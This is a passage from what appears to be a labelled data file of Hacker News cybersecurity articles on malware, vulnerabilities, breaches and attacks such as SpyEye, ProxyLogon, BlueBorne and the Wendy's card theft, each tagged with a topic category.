Moreover, Some variants of Trojan:Win32/Necurs can inject code into all running processes. The injected code is known as a ""dead byte""; certain system processes will cause your computer to restart if they are injected with this code.

Strong anti-security features are provided by the Necurs driver. The driver has a very clear goal: protecting every Necurs component from being removed.

This example shows that malicious software is growing more sophisticated and is starting to include various components that serve individual purposes. These threats may target various versions of operating systems or even different software platforms.

",Malware
"Microsoft set to deliver Patches for three Critical flaws, but no patch for Office Zero-day vulnerability",https://thehackernews.com/2013/11/microsoft-set-to-deliver-patches-for.html,"Microsoft has released advanced notification for the November 2013 security updates that are scheduled to be released on November 12, 2013.
The company plans to deliver eight security bulletins for Windows 8.1, three of them are rated critical and five are important. But there's no relief in sight for a zero-day vulnerability (CVE-2013-3906) in how Office handles .TIFF graphics files.

The bulletins listed in Microsoft's advanced notification as critical are for remote code execution vulnerabilities in Windows operating system and the remaining vulnerabilities listed as important are said to be remote code execution, elevation of privilege, information disclosure and denial of service flaws affecting Windows operating system, as well as Microsoft Office.

A malicious zero day attack capable of hijacking your PC via a vulnerability found in Windows, Office, and Lync is being exploited more widely than originally thought. Some new reports of the security researchers at Fire Eye and Symantec claim that malware groups are actively using the TIFF flaw to hack into computers.

The majority of the exploits detected by Microsoft, Fire Eye, and Symantec have occurred in the Middle East and Asia.

Microsoft also explains that the fix for Security Advisory 2896666 could come at any time, which means it could release even before next Tuesday. However, the current Fix It solution is still the proposed deterrent at this point.

",Vulnerability
"Imperva Breach Exposes WAF Customers' Data, Including SSL Certs, API Keys",https://thehackernews.com/2019/08/imperva-waf-breach.html,"Imperva, one of the leading cybersecurity startups that helps businesses protect critical data and applications from cyberattacks, has suffered a data breach that has exposed sensitive information for some of its customers, the company revealed today.

The security breach particularly affects customers of Imperva's Cloud Web Application Firewall (WAF) product, formerly known as Incapsula, a security-focused CDN service known for its DDoS mitigation and web application security features that protect websites from malicious activities.

In a blog post published today, Imperva CEO Chris Hylen revealed that the company learned about the incident on August 20, 2019, only after someone informed it about the data exposure that ""impacts a subset of customers of its Cloud WAF product who had accounts through September 15, 2017.""
The exposed data includes email addresses and hashed and salted passwords for all Cloud WAF customers who registered before 15th September 2017, as well as API keys and customer-provided SSL certificates for a subset of users.

""We activated our internal data security response team and protocol, and continue to investigate with the full capacity of our resources how this exposure occurred,"" the company says.

""We have informed the appropriate global regulatory agencies. We have engaged outside forensic experts.""

The company has not yet revealed how the Cloud WAF customers' data got leaked, whether its servers were compromised or if it was accidentally left unsecured in a misconfigured database on the Internet.

However, Imperva is still investigating the incident, and the company has ensured that it is informing all impacted customers directly and is also taking additional measures to scale up its security.

""We profoundly regret that this incident occurred and will continue to share updates going forward. In addition, we will share learnings and new best practices that may come from our investigation and enhanced security measures with the broader industry,"" the company says.

Cloud WAF users are recommended to change their account passwords, implement Single Sign-On (SSO), enable two-factor authentication (2FA), generate and upload new SSL certificate, and reset their API keys.

",Data_Breaches
"Hackers Exploiting Microsoft Servers to Mine Monero - Makes $63,000 In 3 Months",https://thehackernews.com/2017/09/windows-monero-miners.html,"Mining cryptocurrencies can be a costly investment as it takes a monstrous amount of computing power, and thus hackers have started using malware that steals computing resources of computers it hijacks to make lots of dollars in digital currency.

Security researchers at security firm ESET have spotted one such malware that infected hundreds of Windows web servers with a malicious cryptocurrency miner and helped cybercriminals made more than $63,000 worth of Monero (XMR) in just three months.

According to a report published by ESET today, cybercriminals only made modifications to legitimate open source Monero mining software and exploited a known vulnerability in Microsoft IIS 6.0 to secretly install the miner on unpatched Windows servers.

Although ESET's investigation does not identify the attackers, it reports that the attackers have been infecting unpatched Windows web servers with the cryptocurrency miner since at least May 2017 to mine 'Monero,' a Bitcoin-like cryptocurrency.

The vulnerability (CVE-2017-7269) exploited by the attackers was discovered in March 2017 by Zhiniang Peng and Chen Wu and resides in the WebDAV service of Microsoft IIS version 6.0—the web server in Windows Server 2003 R2.

Therefore, hackers are only targeting unpatched machines running Windows Server 2003 to make them part of a botnet, which has already helped them made over $63,000 worth of Monero.

Since the vulnerability is on a web server, which is meant to be visible from the internet, it can be accessed and exploited by anyone. You can learn more about the vulnerability here.

The newly discovered malware mines Monero that has a total market valuation of about $1.4 billion, which is far behind Bitcoin in market capitalisation, but cybercriminals' love for Monero is due to its focus on privacy.

Unlike Bitcoin, Monero offers untraceable transactions and is anonymous cryptocurrency in the world today.

Another reason of hackers favouring Monero is that it uses a proof-of-work algorithm called CryptoNight, which suits computer or server CPUs and GPUs, while Bitcoin mining requires specific mining hardware.

However, this is not the first time when analysts have spotted such malware mining Monero by stealing computing resources of compromised computers.

In mid-May, Proofpoint researcher Kafeine discovered cryptocurrency mining malware, called 'Adylkuzz,' which was using EternalBlue exploit—created by the NSA and dumped last month by the Shadow Brokers in April—to infect unpatched Windows systems to mine Monero.

A week before that, GuardiCore researchers discovered a new botnet malware, dubbed BondNet, that was also infecting Windows systems, with a combination of techniques, for primarily mining Monero.

",Vulnerability
24-year-old Russian Hacker and Developer of SpyEye Banking Trojan pleads guilty,https://thehackernews.com/2014/01/Author-of-SpyEye-Banking-Trojan-pleads-guilty.html,"A Russian man has pleaded guilty to conspiracy charges in a federal court in Atlanta on Tuesday for developing and distributing a malicious banking malware 'SpyEye' that infected more than 1.4 million computers worldwide since 2009.

Aleksandr Andreevich Panin, a 24 year old programmer, also known as Gribodemon and Harderman, was the main author of 'SpyEye', a sophisticated malware designed to steal people's identities and financial information, including online banking credentials, credit card information, user names, passwords and PINs from their bank accounts without their knowledge.

The SpyEye secretly infects the victim's computer and gives the remote control to the cybercriminals who remotely access the infected computer through command and control servers and steal victims' personal and financial information through a variety of techniques, including web injects, keystroke loggers, and credit card grabbers without authorization.

Between 2009 and 2011, Panin conspired with Hamza Bendelladj, marketed and advertised the Spy Eye malware on various online forums. He sold versions of the SpyEye virus to almost 150 clients for prices ranging from $1,000 to $8,500 and one of his clients, ""Soldier,"" is reported to have made over $3.2 million in a six-month period using the SpyEye virus.

SpyEye is a ready-made malware toolkit used by cybercriminals since from 2009 and is still being used today. It has been estimated by the industry that over 10,000 bank accounts have been compromised by SpyEye infections in 2013 alone.

The case is being investigated by Special Agents of the Federal Bureau of Investigation (FBI) who stated,
""This investigation highlights the importance of the FBI's focus on the top echelon of cyber criminals"" adding that ""The FBI will continue working with partners domestically and internationally to combat cybercrime.""
Thereafter, in February 2011, the FBI searched and seized a SpyEye command and control server that controlled over 200 computers infected with the SpyEye virus and contained information from numerous financial institutions and was allegedly operated by Hamza Bendelladj in Georgia.

On July 2011, the FBI agents communicated directly with Panin and purchased a version of SpyEye that contained features designed to steal confidential financial information, initiate fraudulent online banking transactions, install keystroke loggers, and initiate distributed denial of service (DDoS) attacks from computers infected with the SpyEye malware.

On January 2013, the Algerian man, Hamza Bendelladj, who was also indicted in the case was arrested in Thailand. The case against him is still pending, and Panin was arrested in July 2013 while he was flying through Hartsfield-Jackson Atlanta International Airport in Atlanta for allegedly using the Web to scam various banks.

",Malware
Black Kingdom Ransomware Hunting Unpatched Microsoft Exchange Servers,https://thehackernews.com/2021/03/black-kingdom-ransomware-hunting.html,"More than a week after Microsoft released a one-click mitigation tool to mitigate cyberattacks targeting on-premises Exchange servers, the company disclosed that patches have been applied to 92% of all internet-facing servers affected by the ProxyLogon vulnerabilities.
The development, a 43% improvement from the previous week, caps off a whirlwind of espionage and malware campaigns that hit thousands of companies worldwide, with as many as 10 advanced persistent threat (APT) groups opportunistically moving quickly to exploit the bugs.
According to telemetry data from RiskIQ, there are roughly 29,966 instances of Microsoft Exchange servers still exposed to attacks, down from 92,072 on March 10.
While Exchange servers were under assault by multiple Chinese-linked state-sponsored hacking groups prior to Microsoft's patch on March 2, the release of public proof-of-concept exploits fanned a feeding frenzy of infections, opening the door for escalating attacks like ransomware and hijacking web shells planted on unpatched Microsoft Exchange servers to deliver cryptominers and other malware.
""To make matters worse, proof-of-concept automated attack scripts are being made publicly available, making it possible for even unskilled attackers to quickly gain remote control of a vulnerable Microsoft Exchange Server,"" cybersecurity firm F-Secure noted in a write-up last week.
In the weeks since Microsoft first released its patches, at least two different strains of ransomware have been discovered as leveraging the flaws to install ""DearCry"" and ""Black Kingdom.""
Cybersecurity firm Sophos' analysis of Black Kingdom paints the ransomware as ""somewhat rudimentary and amateurish in its composition,"" with the attackers abusing the ProxyLogon flaw to deploy a web shell, utilizing it to issue a PowerShell command that downloads the ransomware payload, which encrypts the files and demands a bitcoin ransom in exchange for the private key.
""The Black Kingdom ransomware targeting unpatched Exchange servers has all the hallmarks of being created by a motivated script-kiddie,"" Mark Loman, director of engineering at Sophos, said. ""The encryption tools and techniques are imperfect but the ransom of $10,000 in bitcoin is low enough to be successful. Every threat should be taken seriously, even seemingly low-quality ones.""
The volume of attacks even before the public disclosure of ProxyLogon has prompted experts to investigate if the exploit was shared or sold on the Dark Web, or a Microsoft partner, with whom the company shared information about the vulnerabilities through its Microsoft Active Protections Program (MAPP), either accidentally or purposefully leaked it to other groups.

",Cyber_Attack
Prometei Botnet Exploiting Unpatched Microsoft Exchange Servers,https://thehackernews.com/2021/04/prometei-botnet-exploiting-unpatched.html,"Attackers are exploiting the ProxyLogon Microsoft Exchange Server flaws to co-opt vulnerable machines to a cryptocurrency botnet named Prometei, according to new research.
""Prometei exploits the recently disclosed Microsoft Exchange vulnerabilities associated with the HAFNIUM attacks to penetrate the network for malware deployment, credential harvesting and more,"" Boston-based cybersecurity firm Cybereason said in an analysis summarizing its findings.
First documented by Cisco Talos in July 2020, Prometei is a multi-modular botnet, with the actor behind the operation employing a wide range of specially-crafted tools and known exploits such as EternalBlue and BlueKeep to harvest credentials, laterally propagate across the network and ""increase the amount of systems participating in its Monero-mining pool.""
""Prometei has both Windows-based and Linux-Unix based versions, and it adjusts its payload based on the detected operating system, on the targeted infected machines when spreading across the network,"" Cybereason senior threat researcher Lior Rochberger said, adding it's ""built to interact with four different command-and-control (C2) servers which strengthens the botnet's infrastructure and maintains continuous communications, making it more resistant to takedowns.""
The intrusions take advantage of the recently patched vulnerabilities in Microsoft Exchange Servers with the goal of abusing the processing power of the Windows systems to mine Monero.
In the attack sequence observed by the firm, the adversary was found exploiting Exchange server flaws CVE-2021-27065 and CVE-2021-26858 as an initial compromise vector to install the China Chopper web shell and gain backdoor ingress to the network. With this access in place, the threat actor launched PowerShell to download the initial Prometei payload from a remote server.
Recent versions of the bot module come with backdoor capabilities that support an extensive set of commands, including an additional module called ""Microsoft Exchange Defender"" that masquerades as a legitimate Microsoft product, which likely takes care of removing other competing web shells that may be installed on the machine so that Prometei gets access to the resources necessary to mine cryptocurrency efficiently.
Interestingly, newly unearthed evidence gathered from VirusTotal artifacts has revealed that the botnet may have been around as early as May 2016, implying that the malware has constantly been evolving ever since, adding new modules and techniques to its capabilities.
Prometei has been observed in a multitude of victims spanning across finance, insurance, retail, manufacturing, utilities, travel, and construction sectors, compromising networks of entities located in the U.S., U.K., and several countries in Europe, South America, and East Asia, while also explicitly avoiding infecting targets in former Soviet bloc countries.
Not much is known about the attackers other than the fact that they are Russian speaking, with older versions of Prometei having their language code set as ""Russian."" A separate Tor client module used to communicate with a Tor C2 server included a configuration file that's configured to avoid using several exit nodes located in Russia, Ukraine, Belarus, and Kazakhstan.
""Threat actors in the cybercrime community continue to adopt APT-like techniques and improve efficiency of their operations,"" Rochberger said. ""As observed in the recent Prometei attacks, the threat actors rode the wave of the recently discovered Microsoft Exchange vulnerabilities and exploited them in order to penetrate targeted networks.""
""This threat poses a great risk for organizations, since the attackers have absolute control over the infected machines, and if they wish so, they can steal information, infect the endpoints with other malware or even collaborate with ransomware gangs by selling the access to the infected endpoints,"" she added.

",Malware
A New Wiper Malware Was Behind Recent Cyberattack On Iranian Train System,https://thehackernews.com/2021/07/a-new-wiper-malware-was-behind-recent.html,"A cyber attack that derailed websites of Iran's transport ministry and its national railway system earlier this month, causing widespread disruptions in train services, was the result of a never-before-seen reusable wiper malware called ""Meteor.""
The campaign — dubbed ""MeteorExpress"" — has not been linked to any previously identified threat group or to additional attacks, making it the first incident involving the deployment of this malware, according to researchers from Iranian antivirus firm Amn Pardaz and SentinelOne. Meteor is believed to have been in the works over the past three years.
""Despite a lack of specific indicators of compromise, we were able to recover most of the attack components,"" SentinelOne's Principal Threat Researcher, Juan Andres Guerrero-Saade, noted. ""Behind this outlandish tale of stopped trains and glib trolls, we found the fingerprints of an unfamiliar attacker,"" adding the offensive is ""designed to cripple the victim's systems, leaving no recourse to simple remediation via domain administration or recovery of shadow copies.""
On July 9, the Iranian train system was left paralyzed in the wake of a major attack, with the hackers defacing electronic displays to instruct passengers to direct their complaints to the phone number of the Iranian Supreme Leader Ayatollah Ali Khamenei's office. The incident is said to have reportedly caused ""unprecedented chaos"" at stations with hundreds of trains delayed or canceled.
Now according to SentinelOne, the infection chain commenced with the abuse of Group Policy to deploy a toolkit that consisted of a combination of batch files orchestrating different components, which are extracted from multiple RAR archives and are chained together to facilitate the encryption of the filesystem, corruption of the master boot record (MBR), and locking of the system in question.
Other batch script files dropped during the attack were found to take charge of disconnecting the infected device from the network and creating Windows Defender exclusions for all of the components, a tactic that's becoming increasingly prevalent among threat actors to hide their malicious activities from antimalware solutions installed on the machine.
Meteor, for its part, is an externally configurable wiper with an extensive set of features, including the ability to delete shadow copies as well as a ""wealth of additional functionality"" such as changing user passwords, terminating arbitrary processes, disabling recovery mode, and executing malicious commands.
The wiper has been characterized as ""a bizarre amalgam of custom code"" that blends open-source components with ancient software that's ""rife with sanity checks, error checking, and redundancy in accomplishing its goals,"" suggesting a fragmented approach and a lack of coordination across different teams involved in the development.
""Conflict in cyberspace is overpopulated with increasingly brazen threat actors. Behind the artistry of this epic troll lies an uncomfortable reality where a previously unknown threat actor is willing to leverage wiper malware against public railways systems,"" Guerrero-Saade said. ""The attacker is an intermediate level player whose different operational components sharply oscillate from clunky and rudimentary to slick and well-developed.""
""We should keep in mind that the attackers were already familiar with the general setup of their target, features of the domain controller, and the target's choice of backup system (Veeam). That implies a reconnaissance phase that flew entirely under the radar and a wealth of espionage tooling that we've yet to uncover.""

",Malware
Emergency Patch released for Latest Flash Zero-Day Vulnerability,https://thehackernews.com/2015/10/flash-patch-update.html,"Two days ago, The Hacker News (THN) reported about the Zero-day vulnerability in the freshly patched Adobe Flash Player. The vulnerability was exploited in the wild by a well-known group of Russian hackers, named ""Pawn Storm,"" to target several foreign affairs ministries worldwide.

The zero-day flaw allowed hackers to have complete control of the users' machine, potentially putting all the Flash Player users at a potentially high risk.

Since then, there was no patch available to make flawed utility safe.

However, Adobe has now patched the zero-day vulnerability, along with some critical vulnerabilities whose details are yet to be disclosed.

Yesterday, the company published a post on their official security bulletin (APSB15-27) detailing the risks associated with the zero-day and how a user can get rid of them.

The critical vulnerabilities are assigned following CVE numbers:
CVE-2015-7645
CVE-2015-7647
CVE-2015-7648
Also, Adobe is known to the fact that the hackers had exploited the zero-day flaw (CVE-2015-7645) for conducting limited, targeted attacks. Therefore, it gets CVSS severity score of 9.3 (High), measured by National Vulnerability Database (NVD).

Affected Versions and Software

The zero-day flaw was such that it affected:
Adobe Flash Player 18.x through 18.0.0.252 on Microsoft's Windows and Mac OS X.
Adobe Flash Player 19.x through 19.0.0.207 on Microsoft's Windows and Mac OS X.
Adobe Flash Player 11.x through 11.2.202.535 on Linux.
Further as an outcome, the zero-day allowed intruders to remotely execute some random code through a crafted SWF (Small Web Format) file, which is an Adobe Flash File format for efficient delivery of video and audio over the web.

Simultaneously, with the patch Adobe also lists out several affected Adobe Flash products namely:
Adobe Flash Player Desktop Runtime
Adobe Flash Player Extended Support Release
Adobe Flash Player for Google Chrome
Adobe Flash Player for Google Chrome
Adobe Flash Player for Microsoft Edge and Internet Explorer 11
Adobe Flash Player for Internet Explorer 10 and 11
Adobe Flash Player for Linux
Also, Adobe and its PSIRT (Product Security Incident Response Team) thanked Trend Micro and Google Project Zero for detection and analysis of exploit and vulnerability research respectively.

To conclude, with all the serious cyber attacks targeting Adobe Flash Player in the past and present; Flash must go away!

As this time also, the foreign affairs ministries are falling prey to dangerous ""Phishing attacks,"" where the victims are getting emails with subjects containing current happenings and the message contains a link (URL) that redirects the victim to the exploit set up by an attacker.

Time to Say Good Bye to Flash

It is been 20 years that Adobe Flash is making the Web a slightly more interesting and interactive place. But…

...within three months this year (Since July- till date) Adobe Flash player has been a regular on the bulletin board with many Unknown vulnerabilities discovered and exploitable in it.

Moreover, in return putting many users at risk.

At the beginning of this year, YouTube moved away from Flash for delivering videos. Moreover, Firefox also blocked the Flash plugin entirely.

Facebook's Security Chief publicly called for Adobe to announce a 'kill-date for Flash.' Google Chrome has also begun blocking auto-playing Flash ads by default.

Therefore, if you want your information to stay only with you then say ""Good Bye to Flash.""

",Vulnerability
BlueBorne: Critical Bluetooth Attack Puts Billions of Devices at Risk of Hacking,https://thehackernews.com/2017/09/blueborne-bluetooth-hacking.html,"If you are using a Bluetooth enabled device, be it a smartphone, laptop, smart TV or any other IoT device, you are at risk of malware attacks that can carry out remotely to take over your device even without requiring any interaction from your side.

Security researchers have just discovered total 8 zero-day vulnerabilities in Bluetooth protocol that impact more than 5.3 Billion devices—from Android, iOS, Windows and Linux to the Internet of things (IoT) devices—using the short-range wireless communication technology.

Using these vulnerabilities, security researchers at IoT security firm Armis have devised an attack, dubbed BlueBorne, which could allow attackers to completely take over Bluetooth-enabled devices, spread malware, or even establish a ""man-in-the-middle"" connection to gain access to devices' critical data and networks without requiring any victim interaction.

All an attacker need is for the victim's device to have Bluetooth turned on and obviously, in close proximity to the attacker's device. Moreover, successful exploitation doesn't even require vulnerable devices to be paired with the attacker's device.

BlueBorne: Wormable Bluetooth Attack
What's more worrisome is that the BlueBorne attack could spread like the wormable WannaCry ransomware that emerged earlier this year and wrecked havoc by disrupting large companies and organisations worldwide.

Ben Seri, head of research team at Armis Labs, claims that during an experiment in the lab, his team was able to create a botnet network and install ransomware using the BlueBorne attack.
However, Seri believes that it is difficult for even a skilled attacker to create a universal wormable exploit that could find Bluetooth-enabled devices, target all platform together and spread automatically from one infected device to others.
""Unfortunately, this set of capabilities is extremely desireable to a hacker. BlueBorne can serve any malicious objective, such as cyber espionage, data theft, ransomware, and even creating large botnets out of IoT devices like the Mirai Botnet or mobile devices as with the recent WireX Botnet,"" Armis said.
""The BlueBorne attack vector surpasses the capabilities of most attack vectors by penetrating secure ""air-gapped"" networks which are disconnected from any other network, including the internet.""

Apply Security Patches to Prevent Bluetooth Hacking

The security firm responsibly disclosed the vulnerabilities to all the major affected companies a few months ago—including Google, Apple and Microsoft, Samsung and Linux Foundation.

These vulnerabilities include:

Information Leak Vulnerability in Android (CVE-2017-0785)
Remote Code Execution Vulnerability (CVE-2017-0781) in Android's Bluetooth Network Encapsulation Protocol (BNEP) service
Remote Code Execution Vulnerability (CVE-2017-0782) in Android BNEP's Personal Area Networking (PAN) profile
The Bluetooth Pineapple in Android—Logical flaw (CVE-2017-0783)
Linux kernel Remote Code Execution vulnerability (CVE-2017-1000251)
Linux Bluetooth stack (BlueZ) information leak vulnerability (CVE-2017-1000250)
The Bluetooth Pineapple in Windows—Logical flaw (CVE-2017-8628)
Apple Low Energy Audio Protocol Remote Code Execution vulnerability (CVE Pending)
Google and Microsoft have already made security patches available to their customers, while Apple iOS devices running the most recent version of its mobile operating system (that is 10.x) are safe.
""Microsoft released security updates in July and customers who have Windows Update enabled and applied the security updates, are protected automatically. We updated to protect customers as soon as possible, but as a responsible industry partner, we withheld disclosure until other vendors could develop and release updates."" – a Microsoft spokesperson said.
What's worst? All iOS devices with 9.3.5 or older versions and over 1.1 Billion active Android devices running older than Marshmallow (6.x) are vulnerable to the BlueBorne attack.

Moreover, millions of smart Bluetooth devices running a version of Linux are also vulnerable to the attack. Commercial and consumer-oriented Linux platform (Tizen OS), BlueZ and 3.3-rc1 are also vulnerable to at least one of the BlueBorne bugs.

Android users need to wait for security patches for their devices, as it depends on your device manufacturers.

In the meantime, they can install ""BlueBorne Vulnerability Scanner"" app (created by Armis team) from Google Play Store to check if their devices are vulnerable to BlueBorne attack or not. If found vulnerable, you are advised to turn off Bluetooth on your device when not in use.

",Malware
How Drones Can Find and Hack Internet-of-Things Devices From the Sky,https://thehackernews.com/2015/08/hacking-internet-of-things-drone.html,"Security researchers have developed a Flying Drone with a custom-made tracking tool capable of sniffing out data from the devices connected to the Internet – better known as the Internet-of-things.

Under its Internet of Things Map Project, a team of security researchers at the Texas-based firm Praetorian wanted to create a searchable database that will be the Shodan search engine for SCADA devices.

Located More Than 1600+ Devices Using Drone

To make it possible, the researchers devised a drone with their custom built connected-device tracking appliance and flew it over Austin, Texas in real time.

During an 18 minute flight, the drone found nearly 1,600 Internet-connected devices, of which 453 IoT devices are made by Sony and 110 by Philips. You can see the full Austin map here.

How did They locate Internet of Things Devices?

The researchers located all ZigBee-enabled smart devices and networks and then started expanding their research.

""When [IoT devices] communicated over a wireless protocol called ZigBee, this protocol is open at a network level. So when the devices start connecting, they send out beacon requests. We capture data based on this,"" says Paul West Jauregui, from Praetorian.

ZigBee is a popular smart-home wireless communication standard used by the majority of Internet of Things (IoT) devices today.

ZigBee protocol, which lets IoT devices talk to each other, is implemented by major vendors including Toshiba, Philips, Huawei, Sony, Siemens, Samsung, Motorola, and many more.

Exploiting 'ZigBee' to Hack Internet of Things Devices Remotely

Such drone experiments could be even worse if hackers were able to hijack smart-home and Internet-enabled appliances remotely...

…that's Evil! But it has been demonstrated by a Vienna-based team of security researchers at Black Hat security conference.
Tobias Zillner and Sebastian Strobl from 'Cognosec' have discovered some critical security flaws in ZigBee that could allow hackers to compromise ZigBee networks and take over control of all connected devices on a network, including door locks, alarm system and even controlling your light bulbs.

The vulnerability actually relies in the way ZigBee protocol handles the keys it uses to authenticate the IoT devices it adds to its mesh network, allowing hackers to sniff out exchange authenticate keys.
""Tests with light bulbs, temperature sensors, motion sensors and even door locks have shown that the vendors of the tested devices implemented [minimum features] required to be certified,"" says Zillner.
Even Worse:

The worse part pointed out by the researcher is that there is nothing users could do to make their smart devices more secure, and since the flaw affects a broad range of devices, it's quite unclear how quickly vendors will come up with a fix.

",Vulnerability
Beware! Over 800 Android Apps on Google Play Store Contain 'Xavier' Malware,https://thehackernews.com/2017/06/android-google-play-app-malware.html,"Over 800 different Android apps that have been downloaded millions of times from Google Play Store found to be infected with malicious ad library that silently collects sensitive user data and can perform dangerous operations.

Dubbed ""Xavier,"" the malicious ad library, initially emerged in September 2016, is a member of AdDown malware family, potentially posing a severe threat to millions of Android users.


Since 90 percent of Android apps are free for anyone to download, advertising on them is a key revenue source for their developers. For this, they integrate Android SDK Ads Library in their apps, which usually doesn't affect an app's core functionality.

According to security researchers at Trend Micro, the malicious ad library comes pre-installed on a wide range of Android applications, including photo editors, wallpapers and ringtone changers, Phone tracking, Volume Booster, Ram Optimizer and music-video player.

Features of Xavier Info-Stealing Malware

The previous variant of Xavier Ad library was a simple adware with an ability to install other APKs silently on the targeted devices, but in the latest release, the malware author has replaced those features with more sophisticated ones, including:
Evade Detection: Xavier is smart enough to escape from being analyzed, from both static and dynamic malware analysis, by checking if it is being running in a controlled environment (Emulator), and using data and communication encryptions.
Remote Code Execution: The malware has been designed to download codes from a remote Command & Control (C&C) server, allowing hackers to remotely execute any malicious code on the targeted device.
Info-Stealing Module: Xavier is configured to steal devices and user related information, which includes user' email address, Device id, model, OS version, country, manufacturer, sim card operator, resolution, and Installed apps.
According to the researchers, the highest number of infected users are from Southeast countries in Asia such as Vietnam, Philippines, and Indonesia, with a fewer number of downloads are from the United States and Europe.

Here is a list of 75 infected Android apps that Google has already removed from its Play Store, and if you have installed any of these apps on your device, you are advised to remove it immediately.

Android malware continues to evolve with more sophisticated and never-seen-before capabilities with every passing day. Just last week, we saw first Android malware with code injecting capabilities making rounds on Google Play Store.

How to Protect Yourself

The easiest way to prevent yourself from being targeted by a clever malware like Xavier, always beware of fishy applications, even when downloading them from official Play Store and try to stick to the trusted brands only.

Moreover, always look at the reviews below left by other users who have downloaded the app and verify app permissions before installing any app and grant those permissions that have are relevant for the app's purpose.

Last but not the least, you are strongly advised to always keep a good antivirus application on your device that can detect and block such malware before they can infect your device, and keep your device and apps up-to-date.

",Malware
Critroni - File Encrypting Ransomware out in the Wild,https://thehackernews.com/2014/07/critroni-file-encrypting-ransomware-out.html,"A new ransomware from the Crypto-Ransomware family has been detected by the security researcher, which is being sold in different underground forums from the last month and recently included in the Angler exploit kit.

The latest ransomware, given the name ""Critroni"", includes a number of odd features that makes it out of the ordinary and according to the researchers, it's the first ever Crypto ransomware seen that uses the Tor anonymizing network for command and control to conceal its communication.

According to a detailed analysis of the ransomware threat by a French security researcher who uses the handle Kafeine, the Critroni ransomware is being sold for around $3,000 in black forums and is recently being used by a large number of attackers, including those who use the Angler exploit kit to drop a Spambot on victims' computers.
""Placing a server in onion-domain (TOR), close to domain abuse can not be practically impossible to trace the owner and shutdown the server,"" reads the blog post. ""Connection to the server only after encryption of all files. Early Detection is not possible on the traffic, it is impossible to block the work of the locker. Blocking TOR prevents only payment the user, not the program. Analogs are connected to the server until the crypt and can block.""
The Spambot, an automated computer program designed to harvest and assist in the sending of spam emails, then downloads a number of other malicious executable, including Critroni ransomware.

Once downloaded on a victim's machine, as several other ransomware, Critroni encrypts a specific variety of files, including photos, videos and other important documents, and then displays a dialogue box that notifies the user of the malware infection and demands a payment in Bitcoins in order to decrypt the encrypted files.
""Persistent cryptography based on elliptic curves. Decrypt files without payment impossible. Equivalent resistance RSA-3072, exceeding all analogs. At the same encryption speed is much higher.""
Within 72 hours, victims have to pay the ransom amount demanded by the attacker, or otherwise the victims would lose their important files. Those who do not own Bitcoins, the ransomware provides some detailed instructions on how to acquire them, which will help users of various other countries to pay the ransom amount.

Currently, the Critroni malware threat is written in English and Russian, so right now the countries that speak these languages would be at the top of the target list for attackers using the malware.

",Malware
Over 1000 Wendy's Restaurants Hit by Credit Card Hackers,https://thehackernews.com/2016/07/over-1000-wendys-restaurants-hit-by.html,"The Popular fast-food restaurant chain Wendy's on Thursday admitted that a massive cyber attack had hit more than 1,000 of its restaurants across the country.

The burger chain did not speculate how many people may have been affected, though it did confirm that the hackers were able to steal its customers' credit and debit card information.

The data breach is more than three times bigger than initially thought.

The original data breach was believed to have affected ""fewer than 300"" of its 5,144 franchised locations in the United States when the malware was discovered in May.

The Malware had been installed on Point-of-Sale (PoS) systems in the affected restaurants and was able to obtain cardholder's name, payment card number, expiration date, service code, cardholder verification value, among other data.
The data breach began in fall 2015 and discovered in February this year, and the company went public with in May.

Just last month, Wendy's said the company learned of a second malware variant that had infected its systems and disabled it from all locations.

The company is now offering one year of ""complimentary"" fraud protection services to affected customers.

Wendy's has blamed a third-party for the cyber attack, saying a ""service provider"" had its remote access credentials compromised that allowed attackers to deploy malware remotely to some franchisees' POS systems.

Once identified, the US burger chain found a method of disabling the malware and has done so at all affected locations. Customers can see the list of affected locations through Wendy's website.

So, if you have used your debit or credit card at Wendy's restaurant early this year, you are advised to keep a close eye on your bank account statements.

",Malware
TESCO Customers' account details leaked online,https://thehackernews.com/2014/02/Tesco-emails-databased-hacked_15.html,"You all were busy in celebrating Valentine's Day with your loved ones, and the cyber criminals were too celebrating the day in their own way, and this time, with the TESCO customers.

A list of over 2,240 Tesco.com Internet Shopping accounts was posted Online on the Pastebin website by some unknown hackers on Thursday, allowing access to online shopping accounts, personal details and Tesco Clubcard vouchers, reported by The Guardian.

A Tesco spokesperson told The Hacker News that this information has not come from Tesco's website itself, rather there have been high profile hacks on other businesses

A Tesco spokesperson said, ""We take the security of our customers' data extremely seriously and are urgently investigating these claims.""

""We have contacted all customers who may have been affected and are committed to ensuring that none of them miss out as a result of this. We will issue replacement vouchers to the very small numbers who are affected.""

It is still vague how exactly the cyber criminals were potentially viable to gain access to the Tesco customer details, but some experts say the hackers compiled the stolen details from other websites and then found that Tesco customers used the same username and password combination as those on previous hacks.
This was not the first time when Tesco has fallen victim to cyber thieves. In 2013, Tesco came under a similar attack when hundreds of Tesco Clubcard users found their online accounts had been compromised.

The company has also encountered several security issues with its website, where an XSS flaw left customers at risk of having their accounts hijacked.

In a blog post, the security researcher Troy Hunt, who previously claimed that Tesco was sending passwords in plain text via email, criticized the giant and said, ""I would not for a moment assume that the extent of the damage is only a couple of thousand accounts, that's almost certainly only the tip of the iceberg.""

Earlier this month, Tesco accidentally revealed hundreds of customer email addresses as it attempted to apologize for a pricing error by including all recipients' email addresses in the 'to' field, which meant they were seen by all those receiving the message, that's a humble thing.

Cyber criminals mostly become hyper active during festivals, last Christmas Holidays, the massive data breach occurred at TARGET in which over 40 million Credit & Debit cards were stolen that used to pay for purchases at its 1500 stores nationwide in the U.S.

The customers are advised to use a different password for every single online account which they use, because you can't always put your security onto the head of service providers. It's your own concern in protecting ourselves by not using the same password combinations or using passwords that are easy to second guess. Rather, use a pass-phrases that include lower case, upper case, numbers, special symbols which will also help you increase the complexity and easily re-memorable.

",Data_Breaches
iPhone 5 and 4 Hacked with same Exploit,https://thehackernews.com/2012/09/iphone-5-and-4-hacked-with-same-exploit.html,"iPhone 5 is vulnerable to the same attack that successfully breached an iPhone 4S at the mobile Pwn2Own hacker contest held this week at the EUSecWest event in Amsterdam.

As we reported that Joost Pol and Daan Keuper won the mobile Pwn2Own contest by compromising a fully patched iPhone 4S device and stealing contacts, browsing history, photos and videos from the phone.

The vaunted security of the iPhone (4S) took an epic fail tumble during the event when they was able to build an exploit for a vulnerability in WebKit to beat Apple's code-signing features and the MobileSafari sandbox. The same bug is present in the iOS6 Golden Master development code base, which means iPhone 5 is also vulnerable to the same exploit. Apple iPads and iPod Touch devices are also vulnerable.

""We specifically chose this one because it was present in iOS 6, which means the new iPhone coming out today will be vulnerable to this attack,"" Pol said. The duo won $30,000 for their efforts.

